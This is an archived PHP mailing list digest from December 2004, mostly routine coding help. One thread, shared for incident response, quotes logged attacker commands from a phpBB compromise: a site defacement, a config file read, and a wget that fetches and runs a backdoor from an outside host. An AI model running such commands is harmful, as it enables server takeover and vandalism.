[PHP] String: Arrays of arrays.

2004-12-22 Thread Song Ken Vern-E11804
Hi,

I have an array of array of strings :-

$g1 = array("453", "592");
$g2 = array("e14", "e15", "e13");
$groups = array($g1, $g2);

I traverse and print out the value using :- 

  for ($i = 0; $i < sizeof($groups); $i++) {
 for ($j = 0; $j < sizeof($groups[$i]); $j++) {
print "\n"; /* line?? */
 }
  }

But the end result is :- 





My expected result is :- 





But when I change the line from:- 

print "\n"; /* line?? */

to include :- 

$cid = $groups[$i][$j];
print "\n"; /* line?? */

I seem to get the results I want. 

Why is this? Is there a syntax error? 

Thanx

--
Ken

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Manual

2004-12-22 Thread Greg Donald
On Wed, 22 Dec 2004 16:18:01 -0800, PHP <[EMAIL PROTECTED]> wrote:
> Can I no longer download the latest manual with user comments included? The
> latest chm does not have any and I don't see any option to dowload a file
> with them.

You can grab a copy of any website with one command:

wget -m -np http://www.php.net/manual/en/


-- 
Greg Donald
Zend Certified Engineer
http://gdconsultants.com/
http://destiney.com/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Calling php from cron

2004-12-22 Thread Greg Donald
On Wed, 22 Dec 2004 21:32:39 -0500, blackwater dev
<[EMAIL PROTECTED]> wrote:
> I need to use cron to call my php simpletest runner but am not sure of
> the syntax.  What syntax would I use for the cron job to call an
> external webpage?  My webhost uses webmin where I can just enter the
> command.  I don't want to call a page on the server but an another
> server.

cron can't 'call' a webpage, it's just the scheduling mechanism for
other commands.  You might try entering a PHP command as a cron entry
if that's what you mean.

* * * * * /usr/bin/php -r 'echo file_get_contents( "http://php.net";
);' >/dev/null 2>&1

There's also wget, curl, etc..


-- 
Greg Donald
Zend Certified Engineer
http://gdconsultants.com/
http://destiney.com/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Checking Original URL

2004-12-22 Thread Greg Donald
On Wed, 22 Dec 2004 20:50:01 -0700, The Disguised Jedi
<[EMAIL PROTECTED]> wrote:
> I have a file "image_server.php" that receives requests through 
> tags & GET variables, and returns the requested image with PHP GD
> support.
> 
> That runs all fine and dandy, but I want to check the absolute URL
> that is calling it to make sure it is an approved URL.  (For example,
> I need the URL of the HTML file that contains the  tag that is
> requesting the image from the php script)
> 
> I have tried $_SERVER['REQUEST_URI'] but that just returns the path to
> the php script file.  Is there a different variable that I can use?  I
> haven't exhausted all of my searching, but figured a question here
> would save me some time!  I'll keep searching in the meantime!

You might try limiting access by host instead.  There's lots of host
and server info you can work with, look at print_r( $GLOBALS );


-- 
Greg Donald
Zend Certified Engineer
http://gdconsultants.com/
http://destiney.com/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Frameworks

2004-12-22 Thread Greg Donald
On Wed, 22 Dec 2004 21:04:46 -0200, Bruno B B Magalhães
<[EMAIL PROTECTED]> wrote:
> I am searching for a REALLY fast framework environment
> that can actually run on a production server. I want to know about your
> experiences with, best practices, everything you guys can share I will
> love!

I've used Mojavi and Binary Cloud.

With Mojavi 2.0 the API docs were pretty lacking and there was hardly
any example code to look at.  I started using it because the company I
was working for used it.  We use Smarty for the rendering engine and
also got ADOdb to work inside it.  The 3.0 Mojavi is looking to be
much better as far as docs, but it's still development status.

My experience with Binary Cloud was short due to my early realization
that I didn't need a deployment system.  It seems to do alot of other
stuff too, but getting it installed and getting a starter project
setup took me quite some time.


-- 
Greg Donald
Zend Certified Engineer
http://gdconsultants.com/
http://destiney.com/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Calling php from cron

2004-12-22 Thread blackwater dev
I need to use cron to call my php simpletest runner but am not sure of
the syntax.  What syntax would I use for the cron job to call an
external webpage?  My webhost uses webmin where I can just enter the
command.  I don't want to call a page on the server but an another
server.

Thanks!

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread Greg Donald
On Wed, 22 Dec 2004 13:56:39 -0800, Donald Tyler <[EMAIL PROTECTED]> wrote:
> I do have a rudimentary knowledge of *nix stuff

I don't mean to offend, but it doesn't really seem so.  Basic *nix
skills usually include knowing how to configure, compile, and install
software from source.  The PHP docs explain in very explicit detail
how to do it, and I have to say you won't find any more hand holding
than you get with PHP documentation.  The 'F' in RTFM really means
'Fine' when used in a PHP context.

> and am very computer
> literate, but most of the programming I have done is with scripting
> languages such as Actionscript, Javascript, PHP etc. I realy have no
> idea about compiling source code.

If your download is still compressed you need to uncompress it. 
Depending on the download's file extension you will need to use one of
these commands:

tar zxvf php-4.3.10.tar.gz
tar jxvf php-4.3.10.tar.bz2 

Then you change to the source directory:

cd php-4.3.10/

Then you configure the source:

./configure

You will need to add your desired compile options in the ./configure
command.  I have no idea what support you want to build into your PHP.
 If you don't either you might look at:

./configure --help

Then after you're done with the configure, you compile the software:

make

Then you probably want to install the software permanently to a
system-wide location (or you might not, I don't know).  On *nix the
usual install locations are somewhere like /usr or /usr/local, which
can be defined in the configure with --prefix if you don't want the
default location.  So then to do the actual install you would do:

make install

Then your php binary will be /usr/bin/php or /usr/local/bin/php.

There's also the configure option to build your PHP as a module for
use with a web server such as Apache.  For that you might use a
configure command something like:

./configure --enable-module=so --with-apxs=/usr/sbin/apxs

> I was just hoping for something in laymans terms I guess...

I would guess it's hard to talk about heart surgery without talking
about heart surgery.  Same goes for compiling software.  The commands
are pretty explicit and you have to know what your doing to get the
desired results.  It's no disgrace to not know, once upon a time I
didn't know..  but I read lots of docs, and I asked many questions and
I learned.  I got a few flames along the way but that's part of
knowing *nix I guess.  :)

Several companies I've worked for in the past have brought in outside
consultants when something would come up that we didn't have skills
for in-house.  On that note, you might consider talking with a
consultant or even getting them to do your PHP install for you if in
the end you give up and cannot figure it out.  Make them document the
process as part of the deal.

> Thanks for your responses.
> 
> Wish me luck.

Good luck.


-- 
Greg Donald
Zend Certified Engineer
http://gdconsultants.com/
http://destiney.com/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Fatal error: Call to a member function on a non-object

2004-12-22 Thread Chris
Did you upgrade Zend Optimizer when you upgraded to 4.3.10 ? People are 
seeing quite a few problems when they dont, and this could be releated 
to that.

Chris
Tim Burgan wrote:
Hello,
I have a database driven (MS Access 2000) PHP website that runs fine 
on my localhost (Apache, WinXP, PHP 4.3.9), but when I upload it to 
the web host (IIS, PHP 4.3.10) and try to access a page I receive the 
following error:

Fatal error: Call to a member function on a non-object in 
c:\XXX\inc\dbConnOpen.php on line 17

The file in question contains code that forms a connection to the 
database. I've used this EXACT same code on this same website for the 
last 8 months (both on localhost and web host) with no problem.. then 
when I upload the WHOLE site again.. it doesn't work.

Here's the contents of the above file:
/* Open database connection */
  $db_connection = new COM("ADODB.Connection") or die("Cannot start 
ADO");
  $db_connstr= "DRIVER={Microsoft Access Driver (*.mdb)};DBQ=" .
realpath("directory/database.mdb") . ";DefaultDir=" .
realpath("directory");
  $db_connection->open($db_connstr);  // THIS IS LINE 17

Can anyone shed some light onto what this error means in plain 
english, and possible what I can do.

Thanks for your time.. I'm in a bit of a pickle.
Cheers
Tim
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Checking Original URL

2004-12-22 Thread The Disguised Jedi
I have a file "image_server.php" that receives requests through 
tags & GET variables, and returns the requested image with PHP GD
support.

That runs all fine and dandy, but I want to check the absolute URL
that is calling it to make sure it is an approved URL.  (For example,
I need the URL of the HTML file that contains the  tag that is
requesting the image from the php script)

I have tried $_SERVER['REQUEST_URI'] but that just returns the path to
the php script file.  Is there a different variable that I can use?  I
haven't exhausted all of my searching, but figured a question here
would save me some time!  I'll keep searching in the meantime!

Thanks in advance . . .

-- 
The Disguised Jedi
[EMAIL PROTECTED]

PHP rocks!
"Knowledge is Power.  Power Corrupts.  Go to school, become evil"

Disclaimer: Any disclaimer attached to this message may be ignored.
This message is Certified Virus Free

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] install error:cyrus-imap version 2.0.8 or greater required

2004-12-22 Thread newbin shang
>List:   php-install
>Subject:[PHP-INSTALL] configure: error: cyrus-imap version >2.0.8
or greater required
>From:   "Michael J. Pelletier" ! com>
>Date:   2003-11-03 6:45:59
>
>Hello,
>
>When I try to compile with cyrus I get
>
>checking for cyrus imap support... yes
>configure: error: cyrus-imap version 2.0.8 or greater required
>
>The probem is I have cyrus-2.1.15 installed!!!
>
>No matter what I do I can not make the configure script realize >that I have
>a version > 2.0.8!
>
>Can someone help?
>
>Michael

Hi all, I have encountered the same question, and my cyrus-imapd
version is 2.2.10, has anyone resolved this porblem?
Thanks.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Fatal error: Call to a member function on a non-object

2004-12-22 Thread Tim Burgan
Hi Michael,
   Michael Sims wrote:
[...]
These might be relevant:
http://bugs.php.net/bug.php?id=31159
http://marc.theaimsgroup.com/?l=php-dev&m=110375720614120&w=2

Thanks for your reply. This does sound like it is the problem.
Does anyone know if there is a workaround for this?
Tim
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] Fatal error: Call to a member function on a non-object

2004-12-22 Thread Michael Sims
Tim Burgan wrote:
> Fatal error: Call to a member function on a non-object in
> c:\XXX\inc\dbConnOpen.php on line 17
[...]

> The file in question contains code that forms a connection to the
> database. I've used this EXACT same code on this same website for the
> last 8 months (both on localhost and web host) with no problem.. then
> when I upload the WHOLE site again.. it doesn't work.
[...]
>$db_connection = new COM("ADODB.Connection") or die("Cannot start

These might be relevant:

http://bugs.php.net/bug.php?id=31159
http://marc.theaimsgroup.com/?l=php-dev&m=110375720614120&w=2

Not sure though...I don't have any experience w/the COM extension.  Looks
like a 4.3.11 might be out soon to fix this and other issues.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Fatal error: Call to a member function on a non-object

2004-12-22 Thread Tim Burgan
Hello,
I have a database driven (MS Access 2000) PHP website that runs fine on 
my localhost (Apache, WinXP, PHP 4.3.9), but when I upload it to the web 
host (IIS, PHP 4.3.10) and try to access a page I receive the following 
error:

Fatal error: Call to a member function on a non-object in 
c:\XXX\inc\dbConnOpen.php on line 17

The file in question contains code that forms a connection to the 
database. I've used this EXACT same code on this same website for the 
last 8 months (both on localhost and web host) with no problem.. then 
when I upload the WHOLE site again.. it doesn't work.

Here's the contents of the above file:
/* Open database connection */
  $db_connection = new COM("ADODB.Connection") or die("Cannot start ADO");
  $db_connstr= "DRIVER={Microsoft Access Driver (*.mdb)};DBQ=" .
realpath("directory/database.mdb") . ";DefaultDir=" .
realpath("directory");
  $db_connection->open($db_connstr);  // THIS IS LINE 17
Can anyone shed some light onto what this error means in plain english, 
and possible what I can do.

Thanks for your time.. I'm in a bit of a pickle.
Cheers
Tim
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Date problem?

2004-12-22 Thread Sebastian
try +one month
  - Original Message - 
  From: PHP 
  To: php 
  Sent: Wednesday, December 22, 2004 6:38 PM
  Subject: [PHP] Date problem?


  echo date('F',strtotime("next month"));

  This is printing February right now. Does this sound right or is this a but 
in strtotime()? is "next month" a valid parameter?

  and yes, I am sure our server is set to December(todays date).

  echo date('F',strtotime("last month"));
  Does give me November as it should



--


  No virus found in this outgoing message.
  Checked by AVG Anti-Virus.
  Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004




--


  -- 
  PHP General Mailing List (http://www.php.net/)
  To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Date problem?

2004-12-22 Thread PHP
Ok,
I was using the download version of the manual and it didn't have any user 
comments on this, but the online one does.


Hi,
I did use the +1 month, but I was just curious as to what was up.


Try this instead...
 echo date('F',strtotime("+1 month"));
read through the user comments at...
http://us2.php.net/manual/en/function.strtotime.php
there are some things pertaining to your situtation
-Chris
On Wed, 22 Dec 2004 15:38:38 -0800, PHP <[EMAIL PROTECTED]> wrote:
echo date('F',strtotime("next month"));
This is printing February right now. Does this sound right or is this a 
but
in strtotime()? is "next month" a valid parameter?

and yes, I am sure our server is set to December(todays date).
echo date('F',strtotime("last month"));
Does give me November as it should
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


--
No virus found in this incoming message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004


--
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

--
No virus found in this incoming message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004


--
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Manual

2004-12-22 Thread PHP



Hi,
Can I no longer download the latest manual with 
user comments included? The latest chm does not have any and I don't see any 
option to dowload a file with them.
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Date problem?

2004-12-22 Thread PHP
Hi,
I did use the +1 month, but I was just curious as to what was up.


Try this instead...
 echo date('F',strtotime("+1 month"));
read through the user comments at...
http://us2.php.net/manual/en/function.strtotime.php
there are some things pertaining to your situtation
-Chris
On Wed, 22 Dec 2004 15:38:38 -0800, PHP <[EMAIL PROTECTED]> wrote:
echo date('F',strtotime("next month"));
This is printing February right now. Does this sound right or is this a 
but
in strtotime()? is "next month" a valid parameter?

and yes, I am sure our server is set to December(todays date).
echo date('F',strtotime("last month"));
Does give me November as it should
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


--
No virus found in this incoming message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004


--
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Strange issues with header output

2004-12-22 Thread The Disguised Jedi
> Most likely, your $_SESSION isn't set up.
Yes, unless session.auto_start is enabled that is probably your
problem.  Run session_start(); before you do the if statement.

> Show us more of your script.
This would definitely help

--
The Disguised Jedi
[EMAIL PROTECTED]

PHP rocks!
"Knowledge is Power.  Power Corrupts.  Go to school, become evil"

Disclaimer: Any disclaimer attached to this message may be ignored.
This message is Certified Virus Free


-- 
The Disguised Jedi
[EMAIL PROTECTED]

PHP rocks!
"Knowledge is Power.  Power Corrupts.  Go to school, become evil"

Disclaimer: Any disclaimer attached to this message may be ignored.
This message is Certified Virus Free

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Date problem?

2004-12-22 Thread Christopher Fulton
Try this instead...
  echo date('F',strtotime("+1 month")); 

read through the user comments at...
http://us2.php.net/manual/en/function.strtotime.php

there are some things pertaining to your situtation
-Chris


On Wed, 22 Dec 2004 15:38:38 -0800, PHP <[EMAIL PROTECTED]> wrote:
>  
> echo date('F',strtotime("next month")); 
>   
> This is printing February right now. Does this sound right or is this a but
> in strtotime()? is "next month" a valid parameter? 
>   
> and yes, I am sure our server is set to December(todays date). 
>   
> echo date('F',strtotime("last month")); 
> Does give me November as it should 
>   
> No virus found in this outgoing message.
> Checked by AVG Anti-Virus.
> Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004
> 
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Paul Aviles
John, can you maybe post the IP addresses of where does attacks came from or 
any other related info?

Thanks
-pa
- Original Message - 
From: "John Nichel" <[EMAIL PROTECTED]>
To: "PHP Mailing Lists" 
Sent: Wednesday, December 22, 2004 5:46 PM
Subject: Re: [PHP] PHP Exploit via phpBB?


John Holmes wrote:
From: John Nichel <[EMAIL PROTECTED]>

I'm currently going thru logs from previous days to see if I was getting 
this 'attack' before upgrading to php v4.3.10

That's why I'm wanted to post this here...just in case it isn't phpBB 
problem.

Many people were trying to tie the vulnerabilities with PHP 4.3.9 to this 
attack the vulnerabilities in phpBB, but from what I read they were 
unrelated. Are you on a shared server at all? It may be possible that 
someone else got attacked and took everyone with them...
Yeah, I had been reading about that, but this didn't happen until after I 
upgraded to 4.3.10.  I had upgraded to phpBB 2.0.11, about two weeks ago. 
That was confusing the hell out of me...here I was using the most recent 
versions of both phpBB and PHP 4.x, and it still happened...not to mention 
it happening about 1.5 hours after upgrading php.  We're on a dedicated 
box, and my Rush site is the only one running phpBB, and after digging for 
the rest of today, I found that it was definitely the fault of phpBB. This 
post was pointed out to me by a list member...

http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513
So I made that change too, even though I *thought* it was changed in 
v2.0.11.  Course, I probably screwed something up when patching the files. 
;) I disabled the system() function too, just in case.  These are all the 
system calls it made...

echo ___INICIO___;uname -a;echo ___FIM___;
echo ___INICIO___;cat /proc/cpuinfo;echo ___FIM___;
echo ___INICIO___;cat /usr/local/apache/conf/httpd.conf;echo ___FIM___;
echo ___INICIO___;cat /usr/local/apache/;ls;echo ___FIM___;
echo ___INICIO___;echo hh > hac.hrml;ls;echo ___FIM___;
echo ___INICIO___;echo H4ck3rSBR ownz your by xdr0p455 > index.php;echo 
___FIM___;
echo ___INICIO___;pwd;echo ___FIM___;
echo ___INICIO___;pwd;echo ___FIM___;
echo ___INICIO___;pwd;echo ___FIM___;
echo ___INICIO___;mv -f index.php 
/webserver/vhosts/by-tor.com/docs/index.php;echo ___FIM___;
echo ___INICIO___;cd /tmp;wget 
http://www.intranorth.com.br/xpl/r0nin;chmod 777 r0nin;./r0nin;echo 
___FIM___;
echo ___INICIO___;pwd;echo ___FIM___;
echo ___INICIO___;id;echo ___FIM___;

I'm still trying to figure out how it found all the rest of my vhosts on 
that box.  I see it did a cat /usr/local/apache/conf/httpd.conf to try and 
read my Apache config file, but mine doesn't live there.  It also 
downloaded a file from a Brazilian website, and executed it in the /tmp 
directory...I deleted all of those, but saved one to 'play' with later.

With any luck, someone else will read thru this, and maybe they'll be 
luckier than I.

--
By-Tor.com
...it's all about the Rush
http://www.by-tor.com
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
--
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.


--
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Richard Lynch
John Holmes wrote:
>> Stop relying on RPMs and compile Apache + PHP from source. That way you
>> can
>> get all the latest bugs.
>
> Hmmm... I hope you meant "fix" the latest bugs... ;)

Both statements are equally true. :-)

But, on the bright side, the Bad Guys have had less time to find and
exploit the newer bugs, so your risk of attack is maybe a little lower...

Your risk of falling prey to an actual bug in the behaviour of the
software, without intentional human abuse, is higher with new software.

A balance of risks.

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Date problem?

2004-12-22 Thread PHP



echo date('F',strtotime("next 
month"));
 
This is printing February right now. Does this 
sound right or is this a but in strtotime()? is "next month" a valid 
parameter?
 
and yes, I am sure our server is set to 
December(todays date).
 
echo date('F',strtotime("last 
month"));
Does give me November as it should
 
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 12/22/2004

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Strange issues with header output

2004-12-22 Thread Richard Lynch
[EMAIL PROTECTED] wrote:
> Hi there, I have been building a player script which outputs a windows
> media asx playlist with theheader output type of video-ms-wmv. I have
> experienced some wierd issues
> when i use ifstatements at certain points with the header tag enclosed
> within it, i get
> unexpected results on themac plugin. "Playlist format is unrecognised" Ie
>
> if ($_SESSION['referer_checked']) {
>
> header(aplicationtype ...);
> echo $asx_playtlist here
> }
>
> Is there somehow that an if statement is adding stuff to the header when
> it shouldnt be ? Therecould also be the possibility the plugin doesnt
> start a session or
> something, even though itsloading a php script as its filename ?

The session doesn't get started unless you call session_start (or
session_register, or, these days, maybe just putting something in
$_SESSSION will start it...)

Most likely, your $_SESSION isn't set up.

You could try to diagnose when it is or isn't set up.

The if () statement itself is not the issue -- The way you have programmed
things is the issue.

Welll, it could just be Windows being Windows, or network connectivity is
mkaing the playlist never show up or...  But none of those are real
likely, based on what you've said so far.

Show us more of your script.

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Replacing whole words only

2004-12-22 Thread Richard Lynch
Daniel Schierbeck wrote:
> Chris Boget wrote:
>> Is there a way to replace/remove *whole* words from a
>> phrase?  For example:
>>
>> >   $exceptionsList = array( 'the', 'other', 'that', 'a' );
>>   $stringToParse = 'The other lady that laughed';
>>
>>   if( count( $exceptionsList ) > 0 ) {
>> foreach( $exceptionsList as $exceptionPhrase ) {
>>   $stringToParse = str_replace( $exceptionPhrase, '', trim(
>> $stringToParse ));
>>
>> }
>> $retval = trim( $stringToParse );
>>
>>   }
>>   echo 'Retval: ' . $retval . '';
>> ?>
>>
>> results in "The or ldy lughed" and not "lady laughed".  Using
>> the other *_replace() functions give the same results.  So is
>> what I'm looking to do even possible?
>>
>> thnx,
>> Chris
>
> $exceptions = array('the', , 'other', 'that', 'a');
> $string = 'The other lady that laughed';
>
> foreach ($exsceptions as $exception) {
>$string = str_replace(' ' . $exception . ' ', '', $string);
> }

This won't catch the words at the beginning or end of the string.

Maybe use " $string " instead of just $string in the str_replace to cheat,
and then http://php.net/trim it.

Also, there's some kind of case-insensitive str_replace, but I never
remember its name...  RTFM.

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Newbie question? diagnosing a script

2004-12-22 Thread Richard Lynch
Al Guevara wrote:
> I dont know if Im goin overboard askin this, but here goes... What /how
> does one use to diagnose a php script (for a link exchange) as to why it
> wont work/write to the file? With Cgi, one can use a telnet shell.. is
> there a thing to use for diagnosing php?

Perhaps http://php.net/error_log would be useful to you.

In real-time, on a Development server, just echo out whatever values you
need to debug what's happening.

You can also do something like this to analyze server output:

telnet www.arizona-commercial-real-estate.com 80
[your server prints stuff here]
GET /links/index.php HTTP/1.0
Host: www.arizona-commercial-real-estate.com


Hit an 'extra' return after the Host: line (or any other headers) and out
spews the web page with all headers.

H.   I guess the 'wget' application is way easier, hunh?  Not as fun
though :-)

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: Re: [PHP] Compiling PHP Source guides

2004-12-22 Thread John Holmes
> OK, I guess I'll try to read the instructions again. I *have* tried 
> reading them on multiple occasions but its just greek to me.

Then your next question to the list should be along the lines of: "I have tried 
the instructions at http://... I got to step X and couldn't get any further. I 
typed in xxx and expected to see xxx, but saw xxx. I'm using xxx as my OS and 
trying to compile PHP version xxx. Can anyone help me through the next step?"

Good luck. :)

---John Holmes...

UCCASS - PHP Survey System
http://www.bigredspark.com/survey.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Jason Wong
On Thursday 23 December 2004 06:59, John Holmes wrote:
> > Stop relying on RPMs and compile Apache + PHP from source. That way you
> > can get all the latest bugs.
>
> Hmmm... I hope you meant "fix" the latest bugs... ;)

No, fixing some of the known bugs is a bonus ;)

-- 
Jason Wong -> Gremlins Associates -> www.gremlins.biz
Open Source Software Systems Integrators
* Web Design & Hosting * Internet & Intranet Applications Development *
--
Search the list archives before you post
http://marc.theaimsgroup.com/?l=php-general
--
/*
"We all know Linux is great...it does infinite loops in 5 seconds."
(Linus Torvalds about the superiority of Linux on the Amsterdam
Linux Symposium)
*/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread Ashley M. Kirchner
John Nichel wrote:
echo ___INICIO___;cd /tmp;wget 
http://www.intranorth.com.br/xpl/r0nin;chmod 777 r0nin;./r0nin;echo 
___FIM___;

It also downloaded a file from a Brazilian website, and executed it in 
the /tmp directory...I deleted all of those, but saved one to 'play' 
with later.
   # strings r0nin
   [snip]
   socket
   bind
   listen
   PsychoPhobia Backdoor is starting...
   [snip]
   Might want to run nmap (or other equivalent program) on your system.
--
W | I haven't lost my mind; it's backed up on tape somewhere.
 +
 Ashley M. Kirchner    .   303.442.6410 x130
 IT Director / SysAdmin / Websmith . 800.441.3873 x130
 Photo Craft Laboratories, Inc.. 3550 Arapahoe Ave. #6
 http://www.pcraft.com . .  ..   Boulder, CO 80303, U.S.A.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Holmes
> Stop relying on RPMs and compile Apache + PHP from source. That way you can 
> get all the latest bugs.

Hmmm... I hope you meant "fix" the latest bugs... ;)

---John Holmes...

UCCASS - PHP Survey System
http://www.bigredspark.com/survey.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Frameworks

2004-12-22 Thread Bruno B B Magalhães
Hi everybody,
well I was measuring my framework performance on a real production 
server...  And the average execution time with 20 requests per second 
is 0.025 seconds. Course it will change according to the server 
hardware, but I am searching for a REALLY fast framework environment 
that can actually run on a production server. I want to know about your 
experiences with, best practices, everything you guys can share I will 
love! BTW, my framework is ground up on OO and has:

CORE
- Database access (mysql only for now)
- input access (with sanitization routines in GET, POST, SESSION, 
COOKIES)
- template engine (modified version of smarty)
- authentication layer (mysql, flat files)
- error handler (logs and shows errors)
- benchmark class (starts automatically with a process called 
'framework' how original!)

FILTERS
- ubb code filter
- xhtml filter
SHARED
- validation class (lots of input validation)
and its multilingual, fetched from the database.
Best Regards,
Bruno B B Magalhaes

Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Nichel
Jason Wong wrote:
On Thursday 23 December 2004 06:28, Chris Mason wrote:
I had a later php so my phpBB did not get hacked. However, on another
dedicated server, I am running Redhat 7.3 and it would be dificult at
present to move to a more up to date server. I can't find a more recent
rpm, is there a way I can patch the source rpm to fix this vunerability?

Stop relying on RPMs and compile Apache + PHP from source. That way you can 
get all the latest bugs.

Catch, or fix all the latest bugs? ;)
Seriously though, Jason's right.  A source install puts *you* in control 
of the options you need/want, and RPM releases are usually a few 
releases behind.

--
By-Tor.com
...it's all about the Rush
http://www.by-tor.com
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Strange issues with header output

2004-12-22 Thread John Holmes
> From: <[EMAIL PROTECTED]>

> Hi there, I have been building a player script which outputs a windows
> media asx playlist with theheader output type of video-ms-wmv. I have 
> experienced some wierd issues
> when i use ifstatements at certain points with the header tag enclosed within 
> it, i get
> unexpected results on themac plugin. "Playlist format is unrecognised" Ie
> 
> if ($_SESSION['referer_checked']) {
> 
> header(aplicationtype ...);
> echo $asx_playtlist here
> }
> 
> Is there somehow that an if statement is adding stuff to the header when
> it shouldnt be ? 

An IF statement isn't going to affect headers. There must be something else in 
your code doing the damage. Start printing things out or logging values to a 
file so you can track what's going on and what changes there are. The only way 
an IF could affect something is if you mistakenly put

if($somevar = 'somevalue')

which is an _assignment_ instead of an _equality_ check and always comes out 
true. Then if you used "$somevar" somewhere  it's value may be messed up and 
corrupt your file or headers. 

---John Holmes... 

UCCASS - PHP Survey System
http://www.bigredspark.com/survey.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: Re: [PHP] PHP Exploit via phpBB?

2004-12-22 Thread John Holmes
> From: John Nichel <[EMAIL PROTECTED]>

> http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513

wow... all this fuss because they ran urldecode() on something that was already 
decoded (and what they do with the data after the fact, of course)...

---John Holmes...

UCCASS - PHP Survey System
http://www.bigredspark.com/survey.html

-- 
PHP General Mailing List (http://www.php.net/)
